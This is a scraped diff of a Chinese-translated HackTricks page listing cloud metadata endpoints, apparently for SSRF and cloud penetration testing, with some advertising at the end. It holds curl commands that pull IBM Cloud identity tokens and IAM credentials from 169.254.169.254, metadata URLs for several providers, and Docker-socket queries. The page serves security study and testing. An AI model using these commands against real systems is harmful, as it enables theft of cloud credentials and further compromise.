从 **env** 中,你可以获取 `IDENTITY_HEADER` _和_ `IDENTITY_ENDPOINT` 的值。你可以使用这些值来获取一个令牌,以便与元数据服务器通信。
|
||||
|
||||
大多数情况下,你会想要以下资源之一的令牌:
|
||||
大多数情况下,你需要为以下资源之一获取令牌:
|
||||
|
||||
* [https://storage.azure.com](https://storage.azure.com/)
|
||||
* [https://vault.azure.net](https://vault.azure.net/)
|
||||
|
@ -452,10 +450,10 @@ At line:1 char:1
|
|||
+ FullyQualifiedErrorId :
|
||||
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
|
||||
```
|
||||
## IBM Cloud <a href="#2af0" id="2af0"></a>
|
||||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,在IBM中,默认情况下不启用元数据,因此即使您位于IBM cloud VM内部,也可能无法访问它。
|
||||
请注意,默认情况下 IBM 不启用元数据,因此即使您位于 IBM Cloud VM 内部,也可能无法访问它。
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -482,23 +480,21 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
|||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
## Packetcloud <a href="#2af0" id="2af0"></a>
|
||||
## Packetcloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
文档可在 [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata) 获取
|
||||
|
||||
## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>
|
||||
## OpenStack/RackSpace <a href="#id-2ffc" id="id-2ffc"></a>
|
||||
|
||||
(是否需要头部?未知)
|
||||
```
|
||||
```
|
||||
http://169.254.169.254/openstack
|
||||
```
|
||||
## HP Helion <a href="#a8e0" id="a8e0"></a>
|
||||
|
||||
(是否需要头部?未知)
|
||||
(是否需要头部信息?未知)
|
||||
```
|
||||
http://169.254.169.254/2009-04-04/meta-data/
|
||||
```
|
||||
|
@ -509,7 +505,7 @@ http://192.0.0.192/latest/user-data/
|
|||
http://192.0.0.192/latest/meta-data/
|
||||
http://192.0.0.192/latest/attributes/
|
||||
```
|
||||
## 阿里巴巴 <a href="#51bd" id="51bd"></a>
|
||||
## 阿里巴巴 <a href="#id-51bd" id="id-51bd"></a>
|
||||
```
|
||||
http://100.100.100.200/latest/meta-data/
|
||||
http://100.100.100.200/latest/meta-data/instance-id
|
||||
|
@ -529,18 +525,17 @@ docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
|
|||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
||||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
||||
```
|
||||
## Rancher <a href="#8cb7" id="8cb7"></a>
|
||||
## Rancher <a href="#id-8cb7" id="id-8cb7"></a>
|
||||
```
|
||||
curl http://rancher-metadata/<version>/<path>
|
||||
```
|
||||
```markdown
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到对您最重要的漏洞,以便您能更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||||
找到最重要的漏洞,以便您可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -549,7 +544,7 @@ curl http://rancher-metadata/<version>/<path>
|
|||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
|
|
Loading…
Reference in a new issue